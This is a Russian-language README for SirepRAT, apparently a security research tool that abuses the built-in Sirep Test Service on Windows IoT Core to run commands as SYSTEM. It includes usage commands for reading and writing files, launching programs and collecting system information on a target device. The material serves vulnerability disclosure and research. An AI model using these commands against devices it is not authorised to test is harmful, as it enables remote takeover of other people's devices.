SirepRAT - RCE от имени SYSTEM на Windows IoT Core

SirepRAT предоставляет полные возможности RAT без необходимости написания реального вредоносного RAT на целевом устройстве.

Контекст

Метод использует встроенную службу Sirep Test Service, которая предустановлена и работает в официальных образах, предлагаемых на сайте Microsoft. Эта служба является клиентской частью настройки HLK, которую можно создать для выполнения драйверов/аппаратных тестов на устройстве IoT. Она обслуживает протокол Sirep/WPCon/TShell.

Мы разобрали протокол Sirep/WPCon и показали, как этот протокол предоставляет злоумышленникам удаленный командный интерфейс, включающий возможности RAT, такие как получение/загрузка произвольных файлов в произвольные места и получение информации о системе.

Основываясь на результатах, полученных в ходе исследования службы и протокола, мы создали простой инструмент на Python, позволяющий использовать их с помощью различных поддерживаемых команд. Мы назвали его SirepRAT.

Он имеет простой и интуитивно понятный пользовательский интерфейс для отправки команд на устройство Windows IoT Core. Он работает на любом устройстве, подключенном через кабель и работающем под управлением Windows IoT Core с официальным образом Microsoft.

Слайды и технический документ

Слайды и технический документ с исследованием в папке docs

Установка

pip install -r requirements.txt

Использование

Скачать файл

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Загрузить файл

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Запустить произвольную программу

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

С аргументами, запуск от имени текущего пользователя:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Попробуйте запустить без флага as_logged_on_user, чтобы продемонстрировать возможность выполнения от имени SYSTEM)

Получить информацию о системе

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Получить информацию о файле

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Справка для получения полной информации:

python SirepRAT.py --help

Автор

Dor Azouri (@bemikre)

Участники

movatica (@movatica) — перенос на Python 3! (на финишной прямой 2020 года)

Лицензия

BSD 3 — лицензия с условиями «New» или «Revised»